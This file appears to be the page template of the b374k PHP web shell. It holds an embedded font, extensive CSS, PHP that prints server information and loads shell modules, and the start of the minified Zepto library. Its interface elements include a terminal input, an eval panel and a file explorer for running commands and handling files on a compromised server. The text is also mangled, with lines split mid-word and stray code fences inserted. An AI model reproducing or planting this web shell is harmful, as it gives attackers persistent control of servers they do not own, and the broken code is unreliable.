<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, us
er-scalable=no, user-scalable=0">
<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
<style type="text/css">
@font-face {
        font-family:'ubuntumono';
        src:url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGkYAA8AAAAAp
+gAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAcXhqiC09TLzIAAAF0AAAAXAAAAGCIf+2fY21h
cAAAAdAAAAGQAAAB8qDpr+VjdnQgAAAADYAAAAI4AAAIIC3AUx2ZwZ20AAAPwAAAADewAABiN2vUTEZ2FzcAAAB2wAAAA
IAAAACP//AANnbHlmAAAAHdAAAWX4AAI8gtk/BKGhlYWQAAAGD0AAAAMgAAADb2fhhaGhlYQAAAYSgAAAAdAAAAJAU1Ap
5obXR4AAABhSAAAAQ8AAAG8JqQbMGxvY2EAAAGJYAAABtgAAAbbgHbwybWF4cAAAAZBAAAAAgAAAIAb/CJxuYW1lAABkM
AAAhwAAAWUD/sQynBvc3QAAGZMAAAeAAAAhhGAhHOcHJlcAAAZ8QAAAFTAAABipI+L6QAAAABAAAAAMmJbzEAAAA)
```

yeW+ywAAAADKq3QOeAFjYGb8wTiBgZWBgWkPUxcDA0MPhGa8y2DE8Asoys3KyczGxMzE8oCB6X8Ag0I0AxS4OPo6Mjg
wcHxgYNr6P5rBkNmOYZUCA8P8MEag7gtM2UAlCgyMAF+qEYV4AWJgYGCGYhkGRgYQeAPkMYYL5LAwxgLQBgwKQJQBkcT
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hj///z/9f+T/4//H/o/8X/h3/9/3/x9/WDrg00PNj5Y92DGg//4HCQ807x2UvyFwW+Am0I0kA0Y2IIaxmYAEE7oCYFCw
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P1w1H0cSN/rfO08HnzX/nb/m72vv/qy9Xmzsb1V+ww/fVjduG969UzAN0ZAYREBbEd3Zwm63q63XOMGiYix
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+uLTGK6vfGOI5/UVSIuSgpyCT5ne7XaQd92nnxb5WfPKEG+pLqyM16J4sLDLpbsxCSd4LN49v/VpE4R4o1653QoX7iY
kzMz2PB3qio3+c42svLa1eMOKHLvprIIEb2X8Jt1UMyI828njOfPNXM5ZxZlEfo6FXJKD/Pp1W6HEGzwdPPTo0P80CF
rWj0bKr/x5MEfX82t6Ei1+fAjfO3yyvSLFuvjiB9xrsfQV9TCC9rAjhZkAOgdnA9UVpkKX0YZHInqWV1FL+toXyCTKgmz
XPeyrV+LR+zfpLth/PxK7TtQ+aNNTbEsmanxGDyN7TBCdgbIdckMeX4hqEuotoUU7b2xHf2FexW+7oZ6LmaK1WgmUaR
dCvS0GIOA/2GkzYVFxlrJhRkAZtpjL+JZcwdFqH04KNa+rqYIu9bq2Ezqz7wOW7Jkn7k+lpV4WA3NP+T23WcvV2tAOy
Im/ZHClKSfaYN7tFp8m05BfzBUlvc5uTnEMTJTI5DYayrZYBRLHoHCCIU6B3GO136ZnnWSLHWCvf6qybee/kuFylvN7
Cy6PyPSGioI6Z0v5Y86X0u4N+mhOQ1LC3i0DRnTFvKCA5ItFX5CIkew92Z6gRYBBhECNYECTCx9fvLUZK6bnIho+m+7oN
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HIwANBJh6khlm8R2WcdKiCHY0favxwhhc1vsZrMTaN5v+BPasPAAAAAAH//wACeAF8ewl8XFd57zn3zp25y8xd5t56Ze
2ffN400I81IGknWMpIl2bIsL/ISL1HsOJBAHBKMHsZOnJgYYQkxwcIDktQR+QAJ9oe0vLUs2k7YUSKHvNU7z2pTmNQsp
rw/yHrjkFdrXApbf9905SuSwjHJS/c+65y5xzvu3/fecM4UiGGENrFPPUh44i01N1L1NSH/2Kz8zNdaHZK7w8+hWegyr5Mo/
NAjZ/xeflfzn6FYrtTSNjlJpGLkOl17/zHe7Bi9dnuD0E3vn4pZ/RddxhEiARkmsb5GOKYt9vGLGo13pQvdq/l0xMXH
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+eOEZ5oIFsl0iTva298Lf5GnIv/pHapxtVeK79R5spZwlHuXp5YPOH57MBP5EsyJ7+mv6Fz+k+k/Cl8Jc2EOpp7+a6itc
FQmYvj0cv5vQXWSiCX/nXz6PBwpOXX916dWl80sgO/W7q3g_ffDnLCWvp6mznaaFFb1LpcttvqL7pSEm41B8ze0H5ilt82
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eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwwwB0rMBhFhFUMnPNya1/GkFKeTPMUrP
OSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUF
gZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format
('woff');
        font-weight: normal;
        font-style: normal;
}
*{
        font-family:ubuntumono;
        margin:0;
        padding:0;
        border:0;
        -webkit-box-sizing:border-box;
        -moz-box-sizing:border-box;
        box-sizing:border-box;
        font-size:12px;
        font-weight:normal;
}
input:focus, select:focus, textarea:focus, button:focus{
        outline:none;
}
html, body{

```
        width:100%;
        height:100%;
        color:#222222;
}
body{
        background:#f0f0f0;
        line-height:17px;
}
a{
        text-decoration:none;
        color:#000000;
}
a:hover{
        cursor:pointer;
}
p{
        padding:8px 0;
}
img{
        vertical-align:middle;
}
table{
        width:100%;
}
table td, table th{
        vertical-align:middle;
        padding:8px;
}
textarea, input, select{
        background:#ffffff;
        padding:8px;
        border-radius:8px;
        color:#111111;
        border:1px solid #dddddd;
}
textarea{
        resize:vertical;
        width:100%;
        height:300px;
        min-height:300px;
        max-width:100%;
        min-width:100%;
}
hr{
        margin:8px 0;
        border-bottom:1px dashed #dddddd;
}
video{
        width:100%;
        background:#222222;
        border-radius:8px;
}
h1, h2{
        background:#E7E7E7;
        border-bottom: 1px solid #cccccc;
        color:#000000;
        border-radius:8px;
        text-align:center;
        cursor:pointer;
        padding:8px;
        margin-bottom:8px;
}
h1 a, h2 a{
        color:#000000;
}
pre, #viewFilecontent{
        word-break:break-all;
        word-wrap:break-word;
```

```css
}
pre{
        white-space:pre-wrap;
}
#b374k{
        cursor:pointer;
}
#header{
        width:100%;
        position:fixed;
}
#headerNav{
        padding:10px 8px 6px 8px;
        background:#333333;
}
#headerNav img{
        margin:0 4px;
}
#headerNav a{
        color:#efefef;
}
#menu{
        background:#7C94A8;
        height:33px;
        border-bottom:3px solid #CCCFD1;
}
#menu .menuitem{
        padding:7px 12px 6px 12px;
        float:left;
        height:30px;
        background:#7C94A8;
        color:#ffffff;
        cursor:pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected{
        background:#768999;
        color:#ffffff;
}
#menu .menuitemSelected{
        background:#768999;
}
#basicInfo{
        width:100%;
        padding:8px;
        border-bottom:1px dashed #dddddd;
}
#content{
        background:#f0f0f0;
        height:100%;
        padding:66px 8px 8px 8px;
}
#content .menucontent{
        background:#f0f0f0;
        clear:both;
        display:none;
        padding:8px;
        overflow-x:auto;
        overflow-y:hidden;
}
#overlay{
        position:fixed;
        top:0px;
        left:0px;
        width:100%;
        height:100%;
        display:none;
}
#loading{
```

```
                width:64px;
                height:64px;
                background:#7C94A8;
                border-radius:32px 0 32px 0;
                margin:auto;
                vertical-align:middle;
}
#ulDragNDrop{
                padding:32px 0;
                text-align:center;
                background:#7C94A8;
                border-radius:8px;
                color:#ebebeb;
}
#form{
                display:none;
}
#devTitle{
                background:#ebebeb;
}
.box{
                min-width:50%;
                border:1px solid #dddddd;
                padding:8px 8px 0 8px;
                border-radius:8px;
                position:fixed;
                background:#ebebeb;
                opacity:1;
                box-shadow:1px 1px 25px #150f0f;
                opacity:0.98;
}
.boxtitle{
                background:#dddddd;
                border: 1px solid #cccccc;
                color:#000000;
                border-radius:8px;
                text-align:center;
                cursor:pointer;
}
.boxtitle a, .boxtitle a:hover{
                color:#000000;
}
.boxcontent{
                padding:2px 0 2px 0;
}
.boxresult{
                padding:4px 10px 6px 10px;
                border-top:1px solid #dddddd;
                margin-top:4px;
                text-align:center;
}
.boxtbl{
                border:1px solid #dddddd;
                border-radius:8px;
                padding-bottom:8px;
                background:#ebebeb;
}
.boxtbl td{
                vertical-align:middle;
                padding:8px 15px;
                border-bottom:1px dashed #dddddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button{
                width:100%;
}
.boxlabel{
                text-align: center;
                border-bottom:1px solid #dddddd;
```

```
        padding-bottom:8px;
}
.boxclose{
        background:#222222;
        border-radius:3px;
        margin-right:8px;
        margin-top:-3px;
        padding:2px 8px;
        cursor:pointer;
        color:#ffffff;
}
.strong{
        color:#7C94A8;
        text-shadow:0px 0px 1px #C0DCF5;
}
.weak{
        color:#666666;
}
.button{
        min-width:120px;
        width:120px;
        margin:2px;
        color:#ffffff;
        background:#7C94A8;
        border:none;
        padding:8px;
        border-radius:8px;
        display:block;
        text-align:center;
        float:left;
        cursor:pointer;
}
.button:hover, #ulDragNDrop:hover{
        background:#768999;
}
.floatLeft{
        float:left;
}
.floatRight{
        float:right;
}
.colFit{
        width:1px;
    white-space:nowrap;
}
.colSpan{
        width:100%;
}
.border{
        border:1px solid #dddddd;
        background:#ebebeb;
        border-radius:8px;
        padding:8px;
}
.borderbottom{
        border-bottom:1px dashed #dddddd;
}
.borderright{
        border-right:1px dashed #dddddd;
}
.borderleft{
        border-left:1px dashed #dddddd;
}
.hr td{
        border-bottom:1px dashed #dddddd;
}
.cBox, .cBoxAll{
        width:10px;
```

```
        height:10px;
        border:1px solid #7C94A8;
        border-radius:5px;
        margin:auto;
        float:left;
        margin:3px 6px 2px 6px;
        cursor:pointer;
}
.cBoxSelected{
        background:#7C94A8;
}
.action, .actionfolder, .actiondot{
        cursor:pointer;
}
.phpError{
        padding:8px;
        margin:8px 0;
        text-align:center;
}
.dataView td, .dataView th, #viewFile td{
        vertical-align:top;
        border-bottom:1px dashed #dddddd;
}
.dataView tbody tr:hover{
        background:#ebebeb;
}
.dataView th{
        vertical-align:middle;
        border-bottom:0;
        background:#e0e0e0;
}
.dataView tfoot td{
        vertical-align:middle;
}
.dataView .col-cbox{
        text-align:center;
        width:20px;
}
.dataView .col-size{
        width:70px;
}
#xplTable tr>td:nth-child(3){
        text-align:left;
}
#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
        text-align:center;
}
.dataView .col-owner{
        width:140px;
        min-width:140px;
        text-align:center;
}
.dataView .col-perms{
        width:80px;
        text-align:center;
}
.dataView .col-modified{
        width:150px;
        text-align:center;
}
.sortable th{
        cursor:pointer;
}
#xplTable td{
        white-space:nowrap;
}
#viewFile td{
        text-align:left;
```

```
}
#viewFilecontent{
        padding:8px;
        border:1px solid #dddddd;
        border-radius:8px;
}
#terminalPrompt td{
        padding:0;
}
#terminalInput{
        background:none;
        border:none;
        padding:0;
        width:100%;
}
#evalAdditional{
        display:none;
}
.hl_default{
        color:#517797;
}
.hl_keyword{
        color:#00BB00;
}
.hl_string{
        color:#000000;
}
.hl_html{
        color:#CE5403;
}
.hl_comment{
        color:#7F9F7F;
}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');wid
th:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);tr
ansform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
<!--wrapper start-->
<div id='wrapper'>
        <!--header start-->
        <div id='header'>
                <!--header info start-->
                <div id='headerNav'>
                        <span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self
(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
                        <img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_r
esource('b374k');?>' /> <span id='nav'><?php echo $nav; ?></span>

                        <a class='boxclose' id='logout' title='log out'>x</a>
                        <a class='boxclose' id='showinfo' title='show info'>v</a>
                </div>
                <!--header info end-->

                <!--menu start-->
                <div id='menu'>
                        <?php
                                foreach($GLOBALS['module_to_load'] as $k){
                                        echo "<a class='menuitem' id='menu".$GLOBALS['modul
e'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title'
```

```
]."</a>";
                                                }
                                ?>
                        </div>
                        <!--menu end-->

                </div>
                <!--header end-->

                <!--content start-->
                <div id='content'>
                        <!--server info start-->
                        <div id='basicInfo'>
                                <div id='toggleBasicInfo'></div>
                                <?php
                                echo $error_html;
                                foreach(get_server_info() as $k=>$v){
                                        echo "<div>".$v."</div>";
                                }
                                ?>
                        </div>
                        <!--server info end-->

                        <?php
                                foreach($GLOBALS['module_to_load'] as $k){
                                        $content = $GLOBALS['module'][$k]['content'];
                                        echo "<div class='menucontent' id='".$GLOBALS['module'][$k]
['id']."'>".$content."</div>";
                                }
                        ?>
                </div>
                <!--content end-->

</div>
<!--wrapper end-->
<div id='navigation'>
        <div id='totop'></div>
        <div id='tobottom'></div>
</div>
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr>
</table>
<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php echo get_self(); ?>';
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
var win = <?php echo (is_win())?'true':'false';?>;
var init_shell = true;
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function
 H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){retur
n a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){re
turn K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanc
eof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,func
tion(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function
 Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d
])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=
new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px
":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getCom
putedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="blo
ck"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,
function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?
(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=
d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.
call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z
(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.cl
assName=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.t
est(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}func
```

```
tion _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,
g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-
height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)
$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|
html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["af
ter","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:
h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/c
omplete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString
,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFo
r","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPad
ding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",content
editable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return
!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelect
or;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qs
a(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(
a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.in
dexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(
RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d
in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChil
d(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B
.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){retu
rn a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b
=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c
(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=
O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;
else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.i
nit(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a
,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!
d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:
[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElemen
tsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)
},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=functi
on(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b
,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.
uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length
;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P
(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===
!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(
a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number Strin
g Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.t
oLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.in
dexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b
)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h
.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},
get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){re
turn this.get()},size:function(){return this.length},remove:function(){return this.each(fun
ction(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return
 e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){retur
n H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:functi
on(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(th
is[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)
||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b
);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return
this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function
(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a
&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:func
tion(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e
.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=
this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;type
of a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.par
entNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,functio
n(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:
function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map
(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.ca
ll(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U
(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(
){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:
function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),
```

```
getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.n
odeName))})}),replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b
=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(funct
ion(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this
[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(
this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(th
is),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:functio
n(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},cl
one:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){retu
rn this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this)
;(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.plu
ck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextEle
mentSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?t
his[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(t
his,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textConte
nt:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;ret
urn typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].no
deName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.eac
h(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X
(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this
.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:t
his.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("dat
a-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return argu
ments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){ret
urn this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a
,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(th
is,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css
("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;va
r b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.
pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(ar
guments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string"
)return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],fun
ction(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!
==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in
a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[
b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a
?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){retu
rn a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){re
turn a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(fun
ction(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))})
:this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(
this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim
())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,
Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.remov
eClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0
];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTo
p=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)ret
urn;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this
.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:
function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.t
est(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"
))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-
top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,le
ft:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetPare
nt||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;re
turn a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/
./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a
?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(fun
ction(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[
a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b=
=null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=
d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){i
f(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.n
odeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&
!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"Aft
er")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeVal
ue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){f
unction m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);r
```

```
eturn(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!
c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns
:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .*
?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j
&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(func
tion(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=fu
nction(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this
